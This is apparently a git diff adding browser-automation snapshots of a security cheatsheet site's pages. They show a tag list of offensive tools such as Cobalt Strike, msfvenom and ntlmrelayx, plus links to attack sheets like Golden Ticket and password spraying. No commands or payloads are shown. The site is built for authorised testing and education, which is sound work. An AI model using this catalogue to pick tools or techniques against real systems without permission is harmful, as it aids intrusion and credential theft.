+          - generic [ref=f6e2171]:
+            - text: certutil
+            - generic [ref=f6e2172]: "1"
+          - generic [ref=f6e2173]:
+            - text: chmod
+            - generic [ref=f6e2174]: "1"
+          - generic [ref=f6e2175]:
+            - text: chown
+            - generic [ref=f6e2176]: "1"
+          - generic [ref=f6e2177]:
+            - text: cmd
+            - generic [ref=f6e2178]: "1"
+          - generic [ref=f6e2179]:
+            - text: Cobalt Strike
+            - generic [ref=f6e2180]: "1"
+          - generic [ref=f6e2181]:
+            - text: Coercer
+            - generic [ref=f6e2182]: "1"
+          - generic [ref=f6e2183]:
+            - text: defaults
+            - generic [ref=f6e2184]: "1"
+          - generic [ref=f6e2185]:
+            - text: EyeWitness
+            - generic [ref=f6e2186]: "1"
+          - generic [ref=f6e2187]:
+            - text: find
+            - generic [ref=f6e2188]: "1"
+          - generic [ref=f6e2189]:
+            - text: fscan
+            - generic [ref=f6e2190]: "1"
+          - generic [ref=f6e2191]:
+            - text: GnuPG
+            - generic [ref=f6e2192]: "1"
+          - generic [ref=f6e2193]:
+            - text: GTFOBins
+            - generic [ref=f6e2194]: "1"
+          - generic [ref=f6e2195]:
+            - text: hash-identifier
+            - generic [ref=f6e2196]: "1"
+          - generic [ref=f6e2197]:
+            - text: hashid
+            - generic [ref=f6e2198]: "1"
+          - generic [ref=f6e2199]:
+            - text: Hydra
+            - generic [ref=f6e2200]: "1"
+          - generic [ref=f6e2201]:
+            - text: Immunity Debugger
+            - generic [ref=f6e2202]: "1"
+          - generic [ref=f6e2203]:
+            - text: John the Ripper
+            - generic [ref=f6e2204]: "1"
+          - generic [ref=f6e2205]:
+            - text: JuicyPotato
+            - generic [ref=f6e2206]: "1"
+          - generic [ref=f6e2207]:
+            - text: linPEAS
+            - generic [ref=f6e2208]: "1"
+          - generic [ref=f6e2209]:
+            - text: Medusa
+            - generic [ref=f6e2210]: "1"
+          - generic [ref=f6e2211]:
+            - text: mona.py
+            - generic [ref=f6e2212]: "1"
+          - generic [ref=f6e2213]:
+            - text: msfconsole
+            - generic [ref=f6e2214]: "1"
+          - generic [ref=f6e2215]:
+            - text: msfvenom
+            - generic [ref=f6e2216]: "1"
+          - generic [ref=f6e2217]:
+            - text: MySQL client
+            - generic [ref=f6e2218]: "1"
+          - generic [ref=f6e2219]:
+            - text: nc
+            - generic [ref=f6e2220]: "1"
+          - generic [ref=f6e2221]:
+            - text: Nikto
+            - generic [ref=f6e2222]: "1"
+          - generic [ref=f6e2223]:
+            - text: ntlmrelayx
+            - generic [ref=f6e2224]: "1"
+          - generic [ref=f6e2225]:
+            - text: nxc
+            - generic [ref=f6e2226]: "1"
+          - generic [ref=f6e2227]:
+            - text: openssl
+            - generic [ref=f6e2228]: "1"
+          - generic [ref=f6e2229]:
+            - text: plaso
+            - generic [ref=f6e2230]: "1"
+          - generic [ref=f6e2231]:
+            - text: plink
+            - generic [ref=f6e2232]: "1"
+          - generic [ref=f6e2233]:
+            - text: PowerUp
+            - generic [ref=f6e2234]: "1"
+          - generic [ref=f6e2235]:
+            - text: pspy
+            - generic [ref=f6e2236]: "1"
+          - generic [ref=f6e2237]:
+            - text: python
+            - generic [ref=f6e2238]: "1"
+          - generic [ref=f6e2239]:
+            - text: RECmd
+            - generic [ref=f6e2240]: "1"
+          - generic [ref=f6e2241]:
+            - text: Registry Explorer
+            - generic [ref=f6e2242]: "1"
+          - generic [ref=f6e2243]:
+            - text: RustScan
+            - generic [ref=f6e2244]: "1"
+          - generic [ref=f6e2245]:
+            - text: SharpSploit
+            - generic [ref=f6e2246]: "1"
+          - generic [ref=f6e2247]:
+            - text: Shodan
+            - generic [ref=f6e2248]: "1"
+          - generic [ref=f6e2249]:
+            - text: Sleuth Kit
+            - generic [ref=f6e2250]: "1"
+          - generic [ref=f6e2251]:
+            - text: smbmap
+            - generic [ref=f6e2252]: "1"
+          - generic [ref=f6e2253]:
+            - text: SMBMap
+            - generic [ref=f6e2254]: "1"
+          - generic [ref=f6e2255]:
+            - text: smbserver
+            - generic [ref=f6e2256]: "1"
+          - generic [ref=f6e2257]:
+            - text: stty
+            - generic [ref=f6e2258]: "1"
+          - generic [ref=f6e2259]:
+            - text: tmux
+            - generic [ref=f6e2260]: "1"
+          - generic [ref=f6e2261]:
+            - text: tshark
+            - generic [ref=f6e2262]: "1"
+          - generic [ref=f6e2263]:
+            - text: TShark
+            - generic [ref=f6e2264]: "1"
+          - generic [ref=f6e2265]:
+            - text: umask
+            - generic [ref=f6e2266]: "1"
+          - generic [ref=f6e2267]:
+            - text: urlscan
+            - generic [ref=f6e2268]: "1"
+          - generic [ref=f6e2269]:
+            - text: VirusTotal
+            - generic [ref=f6e2270]: "1"
+          - generic [ref=f6e2271]:
+            - text: Volatility 3
+            - generic [ref=f6e2272]: "1"
+          - generic [ref=f6e2273]:
+            - text: wget
+            - generic [ref=f6e2274]: "1"
+          - generic [ref=f6e2275]:
+            - text: winPEAS
+            - generic [ref=f6e2276]: "1"
+          - generic [ref=f6e2277]:
+            - text: Wireshark
+            - generic [ref=f6e2278]: "1"
+          - generic [ref=f6e2279]:
+            - text: WPScan
+            - generic [ref=f6e2280]: "1"
+          - generic [ref=f6e2281]:
+            - text: zsh
+            - generic [ref=f6e2282]: "1"
+  - contentinfo [ref=f6e2283]:
+    - generic [ref=f6e2284]:
+      - generic [ref=f6e2285]:
+        - link "DÆMON // SEC" [ref=f6e2286] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f6e2287]: //
+          - text: SEC
+        - paragraph [ref=f6e2288]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f6e2289]:
+        - link "daemon-404.github.io β†—" [ref=f6e2290] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f6e2291] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f6e2292]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f6e2293] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f6e2294] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f6e2295]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f6e2296]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-10-43-783Z.yml b/.playwright-mcp/page-2026-08-10T08-10-43-783Z.yml
@@ -0,0 +1,418 @@
+- generic [active] [ref=f6e2298]:
+  - banner [ref=f6e2299]:
+    - generic [ref=f6e2300]:
+      - link "DÆMON//SEC home" [ref=f6e2301] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f6e2302]: //
+        - text: SEC
+        - generic [ref=f6e2303]: _
+      - navigation "Primary" [ref=f6e2304]:
+        - link "01 Vault" [ref=f6e2305] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f6e2306]: "01"
+          - generic [ref=f6e2307]: Vault
+        - link "02 Payloads" [ref=f6e2308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f6e2309]: "02"
+          - generic [ref=f6e2310]: Payloads
+        - link "03 Tags" [ref=f6e2311] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f6e2312]: "03"
+          - generic [ref=f6e2313]: Tags
+        - link "04 Credits" [ref=f6e2314] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f6e2315]: "04"
+          - generic [ref=f6e2316]: Credits
+      - generic [ref=f6e2317]:
+        - button "Search cheatsheets" [ref=f6e2318] [cursor=pointer]:
+          - generic [ref=f6e2321]: Search
+          - generic [ref=f6e2322]: /
+        - button "Toggle theme" [ref=f6e2323] [cursor=pointer]
+        - link "DÆMON main site" [ref=f6e2328] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f6e2331] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f6e2334]:
+    - generic [ref=f6e2336]:
+      - generic [ref=f6e2337]:
+        - heading "D Γ† M O N" [level=1] [ref=f6e2339]:
+          - generic [ref=f6e2340]: D
+          - generic [ref=f6e2341]: Γ†
+          - generic [ref=f6e2342]: M
+          - generic [ref=f6e2343]: O
+          - generic [ref=f6e2344]: "N"
+        - paragraph [ref=f6e2346]:
+          - generic [ref=f6e2347]: The cheatsheet vault
+      - generic [ref=f6e2349]:
+        - generic [ref=f6e2350]:
+          - generic [ref=f6e2351]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f6e2352]
+          - paragraph [ref=f6e2353]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f6e2354]:
+            - button "Search the vault" [ref=f6e2355] [cursor=pointer]
+            - link "Payloads" [ref=f6e2359] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f6e2363]:
+          - generic [ref=f6e2364]:
+            - generic [ref=f6e2365]:
+              - generic [ref=f6e2366]: daemon@sec
+              - generic [ref=f6e2367]: ~
+              - generic [ref=f6e2368]: "%"
+              - generic [ref=f6e2369]: whoami --vault
+            - generic [ref=f6e2371]:
+              - term [ref=f6e2372]: scope
+              - definition [ref=f6e2373]: Offensive security Β· red team Β· DFIR
+              - term [ref=f6e2374]: format
+              - definition [ref=f6e2375]: Copy-ready commands, current tool flags
+              - term [ref=f6e2376]: search
+              - definition [ref=f6e2377]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f6e2378]: license
+              - definition [ref=f6e2379]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f6e2380]:
+            - generic [ref=f6e2381]:
+              - term [ref=f6e2382]: Curated cheatsheets
+              - definition [ref=f6e2383]:
+                - text: "214"
+                - generic [ref=f6e2384]: Curatedcheatsheets
+            - generic [ref=f6e2385]:
+              - term [ref=f6e2386]: Operator domains
+              - definition [ref=f6e2387]:
+                - text: "12"
+                - generic [ref=f6e2388]: Operatordomains
+            - generic [ref=f6e2389]:
+              - term [ref=f6e2390]: Mirrored payload pages
+              - definition [ref=f6e2391]:
+                - text: "135"
+                - generic [ref=f6e2392]: Mirroredpayload pages
+    - region "Domains" [ref=f6e2393]:
+      - generic [ref=f6e2394]: "^: Index"
+      - generic [ref=f6e2398]:
+        - generic [ref=f6e2399]:
+          - generic [ref=f6e2400]:
+            - generic [ref=f6e2401]: "01"
+            - generic [ref=f6e2402]: AD
+            - generic [ref=f6e2406]: Active Directory
+            - generic [ref=f6e2407]: 130 sheets
+          - generic [ref=f6e2408]:
+            - generic [ref=f6e2409]: "02"
+            - generic [ref=f6e2410]: ENUM
+            - generic [ref=f6e2414]: Enumeration
+            - generic [ref=f6e2415]: 18 sheets
+          - generic [ref=f6e2416]:
+            - generic [ref=f6e2417]: "03"
+            - generic [ref=f6e2418]: PWN
+            - generic [ref=f6e2422]: Exploitation
+            - generic [ref=f6e2423]: 7 sheets
+          - generic [ref=f6e2424]:
+            - generic [ref=f6e2425]: "04"
+            - generic [ref=f6e2426]: PRIV
+            - generic [ref=f6e2430]: Privilege Escalation
+            - generic [ref=f6e2431]: 2 sheets
+          - generic [ref=f6e2432]:
+            - generic [ref=f6e2433]: "05"
+            - generic [ref=f6e2434]: CRED
+            - generic [ref=f6e2438]: Password Attacks
+            - generic [ref=f6e2439]: 3 sheets
+          - generic [ref=f6e2440]:
+            - generic [ref=f6e2441]: "06"
+            - generic [ref=f6e2442]: WEB
+            - generic [ref=f6e2446]: Web
+            - generic [ref=f6e2447]: 9 sheets
+          - generic [ref=f6e2448]:
+            - generic [ref=f6e2449]: "07"
+            - generic [ref=f6e2450]: PIVOT
+            - generic [ref=f6e2454]: Tunneling & Pivoting
+            - generic [ref=f6e2455]: 6 sheets
+          - generic [ref=f6e2456]:
+            - generic [ref=f6e2457]: "08"
+            - generic [ref=f6e2458]: CRYPTO
+            - generic [ref=f6e2462]: Cryptography
+            - generic [ref=f6e2463]: 3 sheets
+          - generic [ref=f6e2464]:
+            - generic [ref=f6e2465]: "09"
+            - generic [ref=f6e2466]: DFIR
+            - generic [ref=f6e2470]: DFIR
+            - generic [ref=f6e2471]: 4 sheets
+          - generic [ref=f6e2472]:
+            - generic [ref=f6e2473]: "10"
+            - generic [ref=f6e2474]: TOOL
+            - generic [ref=f6e2478]: Tools
+            - generic [ref=f6e2479]: 18 sheets
+          - generic [ref=f6e2480]:
+            - generic [ref=f6e2481]: "11"
+            - generic [ref=f6e2482]: NIX
+            - generic [ref=f6e2486]: Linux & IT
+            - generic [ref=f6e2487]: 9 sheets
+          - generic [ref=f6e2488]:
+            - generic [ref=f6e2489]: "12"
+            - generic [ref=f6e2490]: GIT
+            - generic [ref=f6e2494]: Git & Workflow
+            - generic [ref=f6e2495]: 5 sheets
+        - generic [ref=f6e2496]:
+          - generic [ref=f6e2497]:
+            - generic [ref=f6e2498]: "01"
+            - generic [ref=f6e2499]: AD
+            - generic [ref=f6e2503]: Active Directory
+            - generic [ref=f6e2504]: 130 sheets
+          - generic [ref=f6e2505]:
+            - generic [ref=f6e2506]: "02"
+            - generic [ref=f6e2507]: ENUM
+            - generic [ref=f6e2511]: Enumeration
+            - generic [ref=f6e2512]: 18 sheets
+          - generic [ref=f6e2513]:
+            - generic [ref=f6e2514]: "03"
+            - generic [ref=f6e2515]: PWN
+            - generic [ref=f6e2519]: Exploitation
+            - generic [ref=f6e2520]: 7 sheets
+          - generic [ref=f6e2521]:
+            - generic [ref=f6e2522]: "04"
+            - generic [ref=f6e2523]: PRIV
+            - generic [ref=f6e2527]: Privilege Escalation
+            - generic [ref=f6e2528]: 2 sheets
+          - generic [ref=f6e2529]:
+            - generic [ref=f6e2530]: "05"
+            - generic [ref=f6e2531]: CRED
+            - generic [ref=f6e2535]: Password Attacks
+            - generic [ref=f6e2536]: 3 sheets
+          - generic [ref=f6e2537]:
+            - generic [ref=f6e2538]: "06"
+            - generic [ref=f6e2539]: WEB
+            - generic [ref=f6e2543]: Web
+            - generic [ref=f6e2544]: 9 sheets
+          - generic [ref=f6e2545]:
+            - generic [ref=f6e2546]: "07"
+            - generic [ref=f6e2547]: PIVOT
+            - generic [ref=f6e2551]: Tunneling & Pivoting
+            - generic [ref=f6e2552]: 6 sheets
+          - generic [ref=f6e2553]:
+            - generic [ref=f6e2554]: "08"
+            - generic [ref=f6e2555]: CRYPTO
+            - generic [ref=f6e2559]: Cryptography
+            - generic [ref=f6e2560]: 3 sheets
+          - generic [ref=f6e2561]:
+            - generic [ref=f6e2562]: "09"
+            - generic [ref=f6e2563]: DFIR
+            - generic [ref=f6e2567]: DFIR
+            - generic [ref=f6e2568]: 4 sheets
+          - generic [ref=f6e2569]:
+            - generic [ref=f6e2570]: "10"
+            - generic [ref=f6e2571]: TOOL
+            - generic [ref=f6e2575]: Tools
+            - generic [ref=f6e2576]: 18 sheets
+          - generic [ref=f6e2577]:
+            - generic [ref=f6e2578]: "11"
+            - generic [ref=f6e2579]: NIX
+            - generic [ref=f6e2583]: Linux & IT
+            - generic [ref=f6e2584]: 9 sheets
+          - generic [ref=f6e2585]:
+            - generic [ref=f6e2586]: "12"
+            - generic [ref=f6e2587]: GIT
+            - generic [ref=f6e2591]: Git & Workflow
+            - generic [ref=f6e2592]: 5 sheets
+      - generic [ref=f6e2593]: 12 domains
+    - generic [ref=f6e2595]:
+      - generic [ref=f6e2597]:
+        - paragraph [ref=f6e2598]:
+          - generic [ref=f6e2599]: "01"
+          - generic [ref=f6e2600]: "^:"
+          - generic [ref=f6e2601]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f6e2603]
+      - generic [ref=f6e2604]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f6e2605] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f6e2606]:
+            - generic [ref=f6e2607]: AD
+            - generic [ref=f6e2608]: "01"
+          - heading "Active Directory" [level=3] [ref=f6e2609]
+          - paragraph [ref=f6e2610]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f6e2611]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f6e2614] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f6e2615]:
+            - generic [ref=f6e2616]: ENUM
+            - generic [ref=f6e2617]: "02"
+          - heading "Enumeration" [level=3] [ref=f6e2618]
+          - paragraph [ref=f6e2619]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f6e2620]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f6e2623] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f6e2624]:
+            - generic [ref=f6e2625]: PWN
+            - generic [ref=f6e2626]: "03"
+          - heading "Exploitation" [level=3] [ref=f6e2627]
+          - paragraph [ref=f6e2628]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f6e2629]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f6e2632] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f6e2633]:
+            - generic [ref=f6e2634]: PRIV
+            - generic [ref=f6e2635]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f6e2636]
+          - paragraph [ref=f6e2637]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f6e2638]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f6e2641] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f6e2642]:
+            - generic [ref=f6e2643]: CRED
+            - generic [ref=f6e2644]: "05"
+          - heading "Password Attacks" [level=3] [ref=f6e2645]
+          - paragraph [ref=f6e2646]: Cracking, spraying, and credential recovery.
+          - generic [ref=f6e2647]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f6e2650] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f6e2651]:
+            - generic [ref=f6e2652]: WEB
+            - generic [ref=f6e2653]: "06"
+          - heading "Web" [level=3] [ref=f6e2654]
+          - paragraph [ref=f6e2655]: XSS, injection, and web application testing.
+          - generic [ref=f6e2656]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f6e2659] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f6e2660]:
+            - generic [ref=f6e2661]: PIVOT
+            - generic [ref=f6e2662]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f6e2663]
+          - paragraph [ref=f6e2664]: Moving through segmented networks and double pivots.
+          - generic [ref=f6e2665]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f6e2668] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f6e2669]:
+            - generic [ref=f6e2670]: CRYPTO
+            - generic [ref=f6e2671]: "08"
+          - heading "Cryptography" [level=3] [ref=f6e2672]
+          - paragraph [ref=f6e2673]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f6e2674]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f6e2677] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f6e2678]:
+            - generic [ref=f6e2679]: DFIR
+            - generic [ref=f6e2680]: "09"
+          - heading "DFIR" [level=3] [ref=f6e2681]
+          - paragraph [ref=f6e2682]: Forensics, memory, and registry analysis.
+          - generic [ref=f6e2683]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f6e2686] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f6e2687]:
+            - generic [ref=f6e2688]: TOOL
+            - generic [ref=f6e2689]: "10"
+          - heading "Tools" [level=3] [ref=f6e2690]
+          - paragraph [ref=f6e2691]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f6e2692]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f6e2695] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f6e2696]:
+            - generic [ref=f6e2697]: NIX
+            - generic [ref=f6e2698]: "11"
+          - heading "Linux & IT" [level=3] [ref=f6e2699]
+          - paragraph [ref=f6e2700]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f6e2701]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f6e2704] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f6e2705]:
+            - generic [ref=f6e2706]: GIT
+            - generic [ref=f6e2707]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f6e2708]
+          - paragraph [ref=f6e2709]: Version control and operator workflow.
+          - generic [ref=f6e2710]: 5 sheets
+    - link [ref=f6e2713] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f6e2714]:
+        - generic [ref=f6e2715]:
+          - paragraph [ref=f6e2716]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f6e2717]
+          - paragraph [ref=f6e2718]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f6e2719]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f6e2720]: Browse payloads
+    - generic [ref=f6e2724]:
+      - generic [ref=f6e2725]:
+        - generic [ref=f6e2726]:
+          - paragraph [ref=f6e2727]:
+            - generic [ref=f6e2728]: "03"
+            - generic [ref=f6e2729]: "^:"
+            - generic [ref=f6e2730]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f6e2731]
+        - link "All tags" [ref=f6e2732] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f6e2735]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f6e2736] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f6e2737]:
+            - generic [ref=f6e2738]: "01"
+            - generic [ref=f6e2739]: ENUM
+            - generic [ref=f6e2743]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f6e2744]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f6e2748] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f6e2749]:
+            - generic [ref=f6e2750]: "02"
+            - generic [ref=f6e2751]: ENUM
+            - generic [ref=f6e2755]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f6e2756]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f6e2760] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f6e2761]:
+            - generic [ref=f6e2762]: "03"
+            - generic [ref=f6e2763]: AD
+            - generic [ref=f6e2767]: Active-Directory_cheat_sheet
+            - generic [ref=f6e2768]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f6e2772] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f6e2773]:
+            - generic [ref=f6e2774]: "04"
+            - generic [ref=f6e2775]: ENUM
+            - generic [ref=f6e2779]: Anonymous Null Testing
+            - generic [ref=f6e2780]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f6e2784] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f6e2785]:
+            - generic [ref=f6e2786]: "05"
+            - generic [ref=f6e2787]: AD
+            - generic [ref=f6e2791]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f6e2792]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f6e2796] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f6e2797]:
+            - generic [ref=f6e2798]: "06"
+            - generic [ref=f6e2799]: AD
+            - generic [ref=f6e2803]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f6e2804]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f6e2808] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f6e2809]:
+            - generic [ref=f6e2810]: "07"
+            - generic [ref=f6e2811]: AD
+            - generic [ref=f6e2815]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f6e2816]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f6e2820] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f6e2821]:
+            - generic [ref=f6e2822]: "08"
+            - generic [ref=f6e2823]: AD
+            - generic [ref=f6e2827]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f6e2828]: 2026-08-10
+  - contentinfo [ref=f6e2832]:
+    - generic [ref=f6e2833]:
+      - generic [ref=f6e2834]:
+        - link "DÆMON // SEC" [ref=f6e2835] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f6e2836]: //
+          - text: SEC
+        - paragraph [ref=f6e2837]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f6e2838]:
+        - link "daemon-404.github.io β†—" [ref=f6e2839] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f6e2840] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f6e2841]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f6e2842] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f6e2843] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f6e2844]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f6e2845]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-10-52-244Z.yml b/.playwright-mcp/page-2026-08-10T08-10-52-244Z.yml
@@ -0,0 +1,424 @@
+- generic [ref=f6e2298]:
+  - banner [ref=f6e2299]:
+    - generic [ref=f6e2300]:
+      - link "DÆMON//SEC home" [ref=f6e2301] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f6e2302]: //
+        - text: SEC
+        - generic [ref=f6e2303]: _
+      - navigation "Primary" [ref=f6e2304]:
+        - link "01 Vault" [ref=f6e2305] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f6e2306]: "01"
+          - generic [ref=f6e2307]: Vault
+        - link "02 Payloads" [ref=f6e2308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f6e2309]: "02"
+          - generic [ref=f6e2310]: Payloads
+        - link "03 Tags" [ref=f6e2311] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f6e2312]: "03"
+          - generic [ref=f6e2313]: Tags
+        - link "04 Credits" [ref=f6e2314] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f6e2315]: "04"
+          - generic [ref=f6e2316]: Credits
+      - generic [ref=f6e2317]:
+        - button "Search cheatsheets" [ref=f6e2318] [cursor=pointer]:
+          - generic [ref=f6e2321]: Search
+          - generic [ref=f6e2322]: /
+        - button "Toggle theme" [ref=f6e2323] [cursor=pointer]
+        - link "DÆMON main site" [ref=f6e2328] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f6e2331] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f6e2334]:
+    - generic [ref=f6e2336]:
+      - generic [ref=f6e2337]:
+        - heading "D Γ† M O N" [level=1] [ref=f6e2339]:
+          - generic [ref=f6e2340]: D
+          - generic [ref=f6e2341]: Γ†
+          - generic [ref=f6e2342]: M
+          - generic [ref=f6e2343]: O
+          - generic [ref=f6e2344]: "N"
+        - paragraph [ref=f6e2346]:
+          - generic [ref=f6e2347]: The cheatsheet vault
+      - generic [ref=f6e2349]:
